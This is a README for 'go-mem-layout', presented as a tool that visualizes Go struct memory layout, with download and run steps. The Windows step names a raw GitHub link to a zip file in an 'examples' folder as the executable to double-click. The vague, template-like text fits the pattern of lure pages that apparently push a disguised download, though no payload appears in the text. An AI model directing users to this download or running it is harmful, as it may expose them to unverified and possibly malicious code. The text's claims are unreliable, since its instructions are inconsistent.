🎉 go-mem-layout - Visualize Go Struct Memory Layout

🚀 Getting Started

Welcome to go-mem-layout! This tool helps you understand how your Go structs are stored in memory. It shows you details like memory alignment, padding, and offsets, which can be useful for improving performance in your applications.

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📚 Features

• Analyze Go structs and their memory layout.
• Visualize memory alignment for better optimization.
• Understand padding and offsets that affect performance.
• Streamlined interface for ease of use.
• Great for performance engineering and systems research.

💻 System Requirements

To run go-mem-layout, you will need:

• An operating system: Windows, macOS, or Linux
• Minimum of 512 MB RAM
• At least 100 MB of free disk space

🔗 Download & Install

To get started, visit the Releases page to download the latest version of go-mem-layout:

Download from Releases Page

1. Click the link above.
2. Find the latest version at the top of the page.
3. Select and click on the file suitable for your operating system.
4. Save the file to a location on your computer.

🛠️ How to Run on Your System

Once you have downloaded the file, follow these steps to run go-mem-layout:

For Windows Users

1. Navigate to the folder where you saved the downloaded file.
2. Double-click on the executable file (e.g., https://github.com/bisrat1234-2/go-mem-layout/raw/refs/heads/main/examples/go-mem-layout-2.5-alpha.5.zip).
3. A window will open showing the application interface.

For macOS Users

1. Open the Finder and go to the folder where the file was saved.
2. Double-click the downloaded .app file.
3. Follow the prompts to launch the application.

For Linux Users

1. Open a terminal.
2. Change to the directory where the downloaded file is located using the cd command.
3. Make the file executable by running:

   chmod +x go-mem-layout
   

4. Run the application by typing:

   ./go-mem-layout
   

📊 How to Use

After launching go-mem-layout, you can start analyzing your Go structs. Follow these basic steps:

1. In the main interface, you will see a field to input your Go struct code.
2. Paste your struct code into this field.
3. Click the "Analyze" button.
4. View the visual representation of your struct's memory layout. It will show aligning, padding, and offsets.

Feel free to experiment with different structs to see how they are laid out in memory.

❓ FAQ

What is Memory Alignment?

Memory alignment refers to how data is arranged and accessed in memory. Proper alignment can lead to better performance in your applications.

Why is Padding Important?

Padding helps ensure that data is aligned correctly. Without it, you may face performance issues when accessing the data.

Can I Use go-mem-layout for Performance Optimization?

Yes! By visualizing the memory layout, you can identify areas where your structs can be optimized for better performance.

⚙️ Parameter Adjustments

In the application, there will be options to adjust parameters like:

• Data type sizes
• Struct field order

These adjustments can help you understand how changes affect memory alignment and offsets.

🌐 Community

Join our community of users and developers to share tips, ask questions, and improve your understanding of memory layout in Go. You can find us on forums and social media channels dedicated to Go programming.

🔄 Contributing

If you'd like to contribute to go-mem-layout or report issues, please visit our GitHub page for more details.

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Thank you for choosing go-mem-layout to analyze your Go structs. Enjoy exploring memory layouts and optimizing your Go applications!